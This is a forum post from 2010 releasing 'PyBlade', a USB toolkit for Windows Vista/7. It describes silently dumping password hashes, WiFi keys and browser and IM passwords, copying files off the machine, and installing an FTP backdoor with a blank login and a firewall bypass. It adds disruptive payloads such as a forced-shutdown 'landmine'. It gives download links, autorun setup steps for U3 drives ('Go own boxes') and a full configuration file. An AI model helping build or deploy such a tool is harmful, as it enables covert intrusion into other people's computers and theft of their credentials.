About:
Some people have been asking for an updated switchblade to run on Vista/7 computers so I thought I'd throw something together. It's a work in progress, I'm also fairly new to Python so no making fun of my code
Current Abilities:
-Gathers system info, running processes, and local IP settings
-Dumps SAM file, via pwdump
-Dumps saved WiFi keys
-Dumps IM passwords
-Dumps IE saved passwords
-Dumps IE history
-Dumps Firefox passwords
-Dumps Chrome passwords
-Easy to configure via conf file
-Auto prompts for UAC if enabled
-Works on 64-bit machines
-Completely hidden (other than UAC prompt)
-Keyboard Randomizer payload
-Landmine payload
-Emo Computer payload
-Rick Roll payload
-IE Homepage payload
-Save logs in .txt, .html, or .xml format
-U3 support via .u3p file
-Support for file slurping
-FTP backdoor installer (w/ XP Firewall bypass)
Planned Updates:
-Netcat backdoor installer
-AV Bypass / Evade
-Save all logs in .html / .xml format
Downloads:
PyBlade v0.3 ==> md5: a9b10c99eb2f2ecbabefb0f908a1e3bf
PyBlade Source Code v0.3 (Includes payloads' source code)
U3 Support (.u3p) *BETA*
v0.1
-Gathers system info, running processes, and network connections
-Dumps SAM file, via pwdump
-Dumps saved WiFi keys
-Dumps IM passwords
-Dumps IE saved passwords
-Dumps IE history
-Dumps Firefox passwords
-Dumps Chrome passwords
-Easy to configure via conf file
-Auto prompts for UAC if enabled
-Works on 64-bit machines
-Completely hidden (other than UAC prompt)
v0.2
-Added Keyboard Randomizer payload
-Added Landmine payload
-Added Change IE homepage payload
-Added comments to code
-Changed sysinfo to collect local IP settings
-Added options to save logs as .txt, .html, or .xml
-Added U3 support
-Checks to see if Firefox is installed before dumping passwords
v0.3
-Added Emo Computer payload (harmless don't worry)
-Added Random Rick Roll payload
-Added support for file slurping
-Added icons for .exe's
-Added FTP Server backdoor
-Correctly sets file extensions when saving logs in .html/.xml
-Added ability to bypass XP Firewall, and hide exceptions from the GUI
-Added time stamps to log directories
Setup for Non-U3 Drives:
0. Obtain a USB drive, and put on a Glitch Mob album
1. Download latest version of PyBlade
2. Extract then copy the contents of PyBlade.rar to the root of your USB drive
3. Edit blade.conf to do your bidding (see below)
4. Go own boxes
Setup for Unmodified U3 Drives:
0. Obtain a U3 USB drive, and put on a Glitch Mob album
1. Download latest version of PyBlade
2. Extract then copy the contents of PyBlade.rar to the root the flash partition on the U3 drive
3. Edit blade.conf to do your bidding (see below)
4. Download F_Bex.u3p (see above)
5. Open the U3 menu, click "Add Programs" and "Install from My Computer"
6. Select F_Bex.u3p, and set it to automatically run when the drive is inserted
7. Go own boxes
Configure Your Blade:
1. Open "blade.conf" in your favorite text editor (or notepad)
2. Enable/Disable programs by changing their execute value (Enable = 1)
Here are the default settings for v0.3:
# SwitchBlade Configuration File
# --------------------------------
# Log File Type
# Possible values; text, html, xml
log=html
# System Dumps
sysinfo=1
pwdump=1
wifi=1
mspass=1
iepw=1
iehist=1
ffpw=1
chromepw=1
# Payloads
keyrand=0
landmine=0
rickroll=0
emo=0
# Change IE Homepage
iehome=0
iehome_url=http://google.com
# Backdoors
ftpme=0
# File Slurping
# Seperate multiple directories using;'s
slurp=0
slurp_dirs=C:\Files;C:\Files2
Note that lines starting with '#' are comments, and are ignored during execution, do NOT comment out lines to disable programs, just set their execute value to 0
3. Some lines contain strings;
logs= Change this to set how the log files are saved (.log, .html, .xml)
iehome_url= If the IE Homepage payload is enabled (iehome=1), this is the URL that the homepage will be set to.
slurp_dirs= This is a list of the directories you want copied onto your drive, you can list multiple directories by separating them with semicolons
4. To manually execute run "bex.exe"
Payloads:
Keyboard Randomizer: This program randomizes all keyboard input while its running (keyrand).
Landmine: Selects a key at random and forcefully turns off the computer when it's pressed (landmine).
Emo Computer: The computer becomes sad and pretends to delete all the files on the computer (emo).
FTPme: Installs an FTP server on the root of the C: drive with a blank username/password (ftpme).
Random Rick Roller: Will open up rick rolls at random time intervals (rickroll).
Note: All payloads are activated on reboot (except for FTPme).
Edited by sablefoxx, 23 August 2010 - 12:19 PM.




















